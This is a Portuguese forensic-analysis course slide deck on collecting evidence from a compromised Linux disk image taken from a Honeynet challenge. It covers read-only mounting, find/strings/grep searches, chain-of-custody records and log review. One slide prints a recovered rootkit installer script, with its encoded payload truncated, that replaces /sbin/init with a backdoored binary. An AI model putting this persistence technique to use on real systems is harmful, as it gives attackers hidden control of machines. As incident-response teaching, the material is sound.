Issuu on Google+

Análise forense

Sessão de aprendizagem 4 Coleta de evidências


Sumário Coleta de evidências Tipo de evidências Primeiros passos Técnicas de coleta Arquivos de log Arquivos de boot Arquivos do sistema


Coleta de evidências A análise forense de mídias tem o objetivo de recuperar evidências que comprovem a invasão do computador analisado. O investigador deve ser imparcial em seu julgamento e na coleta de provas. O processo de coleta de evidências é demorado e varia de caso para caso. Vamos nos concentrar em conhecer as evidências importantes e a forma de recuperá-las do disco, para depois analisá-las e tentar montar uma linha de tempo do ataque.


Sistema comprometido Utilizaremos um modelo virtual de um sistema comprometido, utilizado no “Scan Of The Month 29” do projeto Honeynet. Esta máquina virtual foi parada em um momento específico após a invasão, para que fosse possível analisar o sistema como se estivesse utilizando a máquina. Como esta máquina virtual é antiga, as versões mais novas do VMWare não conseguem mais abri-la. Por isso, vamos utilizar uma outra máquina virtual, configurada para usar o disco da máquina antiga. Dessa forma, poderemos acessar o disco com um Live CD do Helix, e capturar uma imagem do disco. É essa imagem que vamos analisar nas próximas sessões.


Tipos de evidências Qualquer tipo de informação encontrada na máquina suspeita pode ser considerado uma evidência. Arquivos de logs Arquivos apagados Históricos de comandos Binários comprometidos Arquivos em diretórios suspeitos Arquivos abertos no momento da coleta inicial de evidências Dados importantes que possam ter sido comprometidos Datas de acesso, de modificação e de criação de arquivos


Primeiros passos Um bom ponto de partida são as informaçþes coletadas durante o momento da captura do computador comprometido.


Primeiros passos Para começar a procurar por evidências na imagem do disco comprometido, será necessário ter acesso ao sistema de arquivos dessa imagem. É importante sempre manter a integridade de todas as evidências. # mkdir /mnt/image  # mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image –o ro,loop,noatime,nodev,noexec –t ext2  # fsstat /data/compromised/compromised_hda1.img | less  FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug

9 15:34:26 2003

Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug

9 15:34:26 2003


Primeiros passos Algumas ferramentas do sistema podem ser usadas na investigação, e muitas vezes são essenciais para o trabalho. A coleta de evidências é um processo cíclico. Cada evidência encontrada leva a novas pistas e o processo deve ser reiniciado com as novas informações. # find /mnt/image –atime 1825 –or –mtime 1825  # find /mnt/image/ -anewer /mnt/image/bin/date –ls  # find /mnt/image/dev/ -not -type c –and -not -type b –ls  # file /mnt/image/dev/ttyop  # strings /mnt/image/dev/ttyop 


Armazenagem de evidências Armazenar evidências de forma segura e padronizada: Garante a integridade das mesmas. Permite recuperar e correlacionar de forma fácil as evidências. Mantém a cadeia de custódia das evidências, permitindo o controle do acesso a elas. O local de armazenagem deve ser seguro e ter acesso controlado.


Armazenagem de evidências tag#

20080118-1750-txt-0001

Tipo

Arquivo de texto

Nome

/mnt/image/dev/ttyop

SHA1 hash

2a7badc291e94f3dcb621c0b7abf100eb0ad88cd

Tamanho

74 bytes

Data

2002/03/18

Descrição

Arquivo com nomes de processos/arquivos

Observações

Relacionado com evidências 20040907-1750txt-0002 e 20040907-1750-txt-0003


Armazenagem de evidências tag#

20080118-1750-txt-0002

Tipo Nome SHA1 hash

Arquivo de texto /mnt/image/dev/ttyoa fe3b2e77710875617dee295e1f880b 9fcc4d9300 134 bytes 2002/09/04 Arquivo com endereços de rede/portas

Tamanho Data Descrição Observações


Técnicas de coleta Utilizar inicialmente as ferramentas do sistema para encontrar pistas valiosas. # find /mnt/image -name .\*  # find /mnt/image –name “[ ]*.*”  # strings -a -n4 /data/compromised/compromised_hda1.img  # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}” /data/compromised/compromised_hda1.img.str  # grep -i “ttyoa” /data/compromised/compromised_hda1.img.str  # grep “tar\.gz” /data/compromised/compromised_hda1.img.str  # grep -f /data/dirt_list.txt /data/compromised/compromised_hda1.img.str 


Técnicas de coleta Analisar os arquivos de sistema, logs, binários, inicialização e históricos de comandos. Verificar dados importantes armazenados em disco. # ls –la /mnt/image/var/log  # more /mnt/image/var/log/boot.log  # more /mnt/image/var/log/secure  # more /mnt/image/var/log/maillog  # find /mnt/image -name \*.log  # more /mnt/image/etc/opt/psybnc/log/psybnc.log  # cat /mnt/image/usr/lib/libice.log 


Arquivos de logs A análise de arquivos de logs é um passo importante na análise forense, embora nunca se deva confiar totalmente em um log. Às vezes, até mesmo a falta de alguma informação em um log pode ser uma evidência importante. O investigador deve procurar todos os arquivos de logs armazenados em disco. É importante tentar correlacionar os logs com outros eventos: data de criação/acesso/remoção de arquivos, outros logs, eventos capturados em dispositivos de rede etc.


Arquivos de logs Logs de e-mail podem fornecer boas pistas # more maillog  Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service unavailable Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service unavailable Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)


Arquivos de inicialização do sistema Ao invadir uma máquina, o atacante tenta garantir o controle do sistema através da instalação de rootkits ou ferramentas de backdoor. Para isso, será necessário modificar os arquivos de inicialização da máquina, ou então substituir executáveis do sistema por versões comprometidas com backdoors. Os arquivos utilizados variam dependendo do tipo de sistema que estiver sendo utilizado.


Arquivos de inicialização do sistema No exemplo, encontramos o arquivo de instalação de um rootkit # find /mnt/image/ -name inst  /mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst  /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst  #!/bin/bash D="/lib/.x" H="13996" mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\ ... \313\233\330\157\000\000" | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo Have phun!


Arquivos de histórico de comandos Uma das primeiras providências tomadas por um invasor ao adquirir o controle de uma máquina é tentar apagar seus rastros. A maioria dos invasores não têm um conhecimento profundo do sistema. Os históricos de comandos são criados pelo shell e geralmente armazenados em arquivo no fim da sessão. Muitos invasores esquecem desse detalhe. Alguns invasores costumam remover o histórico de comandos e redirecionar o arquivo para o dispositivo /dev/null


Checando arquivos importantes do sistema O processo de procurar evidências manualmente pode ser muito demorado e cansativo. Nestes casos, pode ser mais eficiente utilizar algumas ferramentas para facilitar essa pesquisa. Chkrootkit e um antivírus são um bom auxílio ao investigador. Estas ferramentas podem nos auxiliar a confirmar informações que havíamos encontrado anteriormente, bem como detectar novas evidências da invasão. Um antivírus pode nos ajudar a encontrar evidências mais difíceis de detectar pelas técnicas normais.


Checando arquivos importantes do sistema Prática: Apenas como exercício, execute o comando abaixo e veja se acha algo interessante: # find /mnt/image/ -anewer /mnt/image/dev/hdx1

-ls | less 

Lembra o que o comando acima faz? Anote os arquivos de interesse e inclua-os na lista de evidências.


Conclusões Vimos nesta sessão o que são evidências e como tratá-las e armazená-las de maneira a garantir a integridade e a cadeia de custódia das mesmas. Aprendemos a encontrar evidências utilizando ferramentas básicas disponíveis em qualquer distribuição Linux. Ainda existem muitas evidências presentes na imagem analisada nesta sessão. A análise forense é um processo cíclico, demorado e sujeito a erros. É importante tentar correlacionar evidências para garantir a validade das informações coletadas.


04-coleta